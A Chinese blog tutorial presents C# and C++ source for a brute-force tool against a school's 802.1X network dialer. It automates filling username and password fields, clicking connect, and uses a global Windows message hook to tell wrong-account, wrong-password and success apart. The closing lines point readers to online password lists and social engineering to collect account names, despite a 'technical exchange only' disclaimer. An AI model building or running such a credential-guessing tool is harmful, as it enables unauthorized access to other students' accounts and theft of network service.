简单 密码/帐户 暴力破解 的实现

仅供技术交流,切勿用于非法用途.

源码下载 C# C++实现 下图的这种登陆界面大家一定经常见到,这是一个上网的拨号器.对于有些学校,上校账户没有与什么电话号码绑定.所以只要有帐户密码,全校通用.

 

我们的目标首先是能够自动设置帐户密码,并能自动地点击连接和断开(若连接成功了或很久连不上,断开试下个帐户/密码).

 下面是一些要用到的API:

using System; using System.Collections.Generic; using System.Text; using System.Runtime.InteropServices; namespace Thinker { /// <summary> /// 枚举子窗口委托 /// </summary> /// <param name="hwndChild">子窗口句柄</param> /// <param name="lParam"></param> /// <returns>是否继续</returns> public delegate bool EnumChildWindowHandler(IntPtr hwndChild, uint lParam); /// <summary> /// 本地方法 /// </summary> public static class NativeMethods { [DllImport("user32.dll")] public extern static IntPtr FindWindow(IntPtr lpClassName, string lpWindowName); [DllImport("user32.dll")] public extern static bool EnumChildWindows(IntPtr hWndParent, EnumChildWindowHandler lpEnumFunc, uint lParam); [DllImport("user32.dll")] public extern static int GetWindowText(IntPtr hWnd, byte[] lpString, int nMaxCount); [DllImport("user32.dll")] public extern static int GetWindowText(IntPtr hWnd, out string lpString, int nMaxCount); [DllImport("user32.dll")] public extern static bool PostMessage(IntPtr hWnd, uint Msg, uint wParam, uint lParam); [DllImport("user32.dll")] public extern static bool SetDlgItemText(IntPtr hDlg, int nIDDlgItem, string lpString); [DllImport("user32.dll", CharSet = CharSet.Ansi)] public extern static uint SendMessage(IntPtr hWnd, uint Msg, uint wParam, byte[] lParam); /// <summary> /// 安装钩子 /// </summary> /// <returns></returns> [DllImport("MsgHook.dll")] public extern static bool InstallHook(); /// <summary> /// 释放钩子 /// </summary> /// <returns></returns> [DllImport("MsgHook.dll")] public extern static bool UnInstallHook(); public static uint WM_GETTEXT = 0x000D; public static uint WM_SETTEXT = 0x000C; public static uint WM_MOUSEFIRST = 0x0200; public static uint WM_MOUSEMOVE = 0x0200; public static uint WM_LBUTTONDOWN = 0x0201; public static uint WM_LBUTTONUP = 0x0202; public static uint WM_LBUTTONDBLCLK = 0x0203; public static uint WM_RBUTTONDOWN = 0x0204; public static uint WM_RBUTTONUP = 0x0205; public static uint WM_RBUTTONDBLCLK = 0x0206; public static uint WM_MBUTTONDOWN = 0x0207; public static uint WM_MBUTTONUP = 0x0208; public static uint WM_MBUTTONDBLCLK = 0x0209; /// <summary> /// 点击按钮 /// </summary> /// <param name="hbtn">按钮句柄</param> public static void ClickButton(IntPtr hbtn) { PostMessage(hbtn, WM_LBUTTONDOWN, 0x00000001, 0x000A0021); PostMessage(hbtn, WM_LBUTTONUP, 0x00000000, 0x000A0021); } /// <summary> /// 设置文本 /// </summary> /// <param name="hedit">编辑控件句柄</param> /// <param name="text">要设置的文本</param> public static void SetText(IntPtr hedit, string text) { byte[] buffer = Encoding.ASCII.GetBytes(text); uint rl = NativeMethods.SendMessage(hedit, NativeMethods.WM_SETTEXT, 0, buffer); } } }

 

下面对拨号器界面进行封装.通过窗口迭代找到登陆窗口,获得所需的句柄.

 using System; using System.Collections.Generic; using System.Text; using System.Diagnostics; using System.Windows.Forms; using System.Runtime.InteropServices; namespace Thinker { /// <summary> /// 802.1X拨号器 /// </summary> public class Dialer8021X { static Dialer8021X() { ProcessName = "Athena.exe"; } /// <summary> /// 初化一个 Thinker.Dialer8021X 类型的新实例 /// </summary> private Dialer8021X() { this.hbtnConnect = this.hbtnDisconnect = this.heditUser = this.heditPwd = this.hwndMain = IntPtr.Zero; this.index = 0; this.eventArgs = new ConnectionStateChangedEventArgs(); this.ReadHandles(); } / <summary> / 断开连接时触发此事件 / </summary> //public event EventHandler Disconnected; / <summary> / 尝试连接后触发此事件 / </summary> //public event EventHandler Connected; / <summary> / 连接错误 / </summary> //public event EventHandler ConnecteFailed; /// <summary> /// 读取所需句柄 /// </summary> private void ReadHandles() { //Process distiProc = Process.GetProcessesByName(ProcessName); this.index = 0; hwndMain = NativeMethods.FindWindow(IntPtr.Zero, "802.1x拨号器"); if (hwndMain == IntPtr.Zero) return; try { NativeMethods.EnumChildWindows(hwndMain, new EnumChildWindowHandler(EnumChildProc), 0); } catch { } } /// <summary> /// 连接状态变化事件 /// </summary> public event ConnectionStateChangedHandler ConnectionStateChanged; /// <summary> /// 事件参数 /// </summary> private ConnectionStateChangedEventArgs eventArgs; /// <summary> /// 主窗口句柄 /// </summary> private IntPtr hwndMain; /// <summary> /// 进程名称 /// </summary> private static readonly string ProcessName; /// <summary> /// 连接按钮句柄 /// </summary> private IntPtr hbtnConnect; /// <summary> /// 断开按钮句柄 /// </summary> private IntPtr hbtnDisconnect; /// <summary> /// 账户输入框句柄 /// </summary> private IntPtr heditUser; /// <summary> /// 密码输入框句柄 /// </summary> private IntPtr heditPwd; /// <summary> /// 提示信息标签句柄 /// </summary> private IntPtr hlblMsg; /// <summary> /// 子窗口索引号 /// </summary> private int index; / <summary> / 连接按钮句柄 / </summary> //public IntPtr HbtnConnect //{ // get { return hbtnConnect; } //} / <summary> / 断开按钮句柄 / </summary> //public IntPtr HbtnDisconnect //{ // get { return hbtnDisconnect; } //} / <summary> / 账户输入框句柄 / </summary> //public IntPtr HeditUser //{ // get { return heditUser; } //} / <summary> / 密码输入框句柄 / </summary> //public IntPtr HeditPwd //{ // get { return heditPwd; } //} /// <summary> /// 是否准备好 /// </summary> public bool Prepared { get { return (this.hbtnConnect != IntPtr.Zero && this.hbtnDisconnect != IntPtr.Zero && this.heditUser != IntPtr.Zero && this.heditPwd != IntPtr.Zero && this.hlblMsg != IntPtr.Zero); } } /// <summary> /// 实例 /// </summary> public static Dialer8021X Create() { return new Dialer8021X(); } private bool EnumChildProc(IntPtr hwndChild, uint lParam) { // string findText = string.Empty; // NativeMethods.GetWindowText(hwndChild, out findText, 10); switch (this.index) { case 0: hbtnConnect = hwndChild; break; case 1: hbtnDisconnect = hwndChild; break; case 7: heditUser = hwndChild; break; case 8: heditPwd = hwndChild; break; case 9: hlblMsg = hwndChild; break; } this.index++; return true; } /// <summary> /// 点击连接按钮 /// </summary> public void ClickConnect() { NativeMethods.ClickButton(hbtnConnect); } /// <summary> /// 点击断开按钮 /// </summary> public void ClickDisconnect() { NativeMethods.ClickButton(hbtnDisconnect); } /// <summary> /// 设置用户名 /// </summary> /// <param name="name">用户名</param> public void SetUserName(string name) { NativeMethods.SetText(heditUser, name); } /// <summary> /// 设置密码 /// </summary> /// <param name="pwd">密码</param> public void SetPassword(string pwd) { NativeMethods.SetText(heditPwd, pwd); } public void WndProc(ref Message m) { if (m.Msg == 0xCCAB) { int code = m.WParam.ToInt32(); switch (code) { case 123: //断开 eventArgs.State = ConnectionState.Disconnected; break; case 124://连接错误,账户错误 eventArgs.State = ConnectionState.WrongUserName; break; case 125: //连接成功 eventArgs.State = ConnectionState.Connected; break; case 126://连接错误,密码错误 eventArgs.State = ConnectionState.WrongPwd; break; default: eventArgs.State = ConnectionState.Unknown; break; } OnConnectionStateChanged(eventArgs); } } protected void OnConnectionStateChanged(ConnectionStateChangedEventArgs e) { if (ConnectionStateChanged != null) { ConnectionStateChanged(this, e); } } } }

 

为了得到,登陆窗口的状态信息,如是否连接上,断开之类的.要用钩子技术,在系统中安装一个钩子.钩子有许多中类型,由于我们是通过对登陆界面上的Static Text文本的变化,来得知状态的(如上图的"你已经下线").所以只需安装WH_CALLWNDPROCRET类型的钩子即可.全局钩子必须放在DLL中,所以创建一个动态链接库的工程:

 

// MsgHook.cpp : Defines the exported functions for the DLL application. // #include "stdafx.h" #include <string.h> #include <wchar.h> extern HHOOK g_hWindowMsg; extern HINSTANCE g_hInst; extern "C" __declspec(dllexport) BOOL UnInstallHook() { return UnhookWindowsHookEx(g_hWindowMsg); } extern "C" __declspec(dllexport) LRESULT WINAPI WinMsgProc(int nCode, WPARAM wParam, LPARAM lParam) { if (nCode < 0) return CallNextHookEx(g_hWindowMsg, nCode,wParam, lParam); CWPRETSTRUCT* pMsg = (CWPRETSTRUCT*)lParam; if (pMsg->message == WM_SETTEXT) { HWND hwndMain = FindWindowA(NULL, (LPCSTR)"Thinker"); if(hwndMain != NULL) { wchar_t * disconnected = L"您已经下线"; wchar_t* connectError = L"用户名或密码错误，错误代码: -7003"; //用户名错误 wchar_t* connectError2 = L"用户名或密码错误，错误代码: -7004";//密码错误 wchar_t* connected = L"您已经成功登录"; wchar_t* obtainedStr = (wchar_t*)pMsg->lParam; if( wcscmp(obtainedStr, disconnected) == 0) { //OutputDebugString(L"disconnectd"); PostMessageA(hwndMain, 0xCCAB, 123, 0); } else if(wcscmp(obtainedStr, connectError) == 0) { //OutputDebugString(L"ConnectError"); PostMessageA(hwndMain, 0xCCAB, 124, 0); } else if(wcscmp(obtainedStr, connectError2) == 0) { PostMessageA(hwndMain, 0xCCAB, 126, 0); } else if(wcscmp(obtainedStr, connected) == 0) { //OutputDebugString(L"Connected"); PostMessageA(hwndMain, 0xCCAB, 125, 0); } //OutputDebugString((LPWSTR)connectError); //OutputDebugString((LPWSTR) pMsg->lParam); } } return CallNextHookEx(g_hWindowMsg, nCode, wParam, lParam); } extern "C" __declspec(dllexport) BOOL InstallHook() { if(g_hWindowMsg != NULL) return FALSE; g_hWindowMsg = SetWindowsHookEx(WH_CALLWNDPROCRET, WinMsgProc, g_hInst, NULL); return (g_hWindowMsg != NULL); }

由上面代码可以知道,当登陆界面的提示信息变化了,会给破解程序(Thinker)发送信息,以通知状态的变化.

 

 现在,就是得到账户本和密码本了.密码本网上很多,帐户名,那就是你的社会工程了.呵呵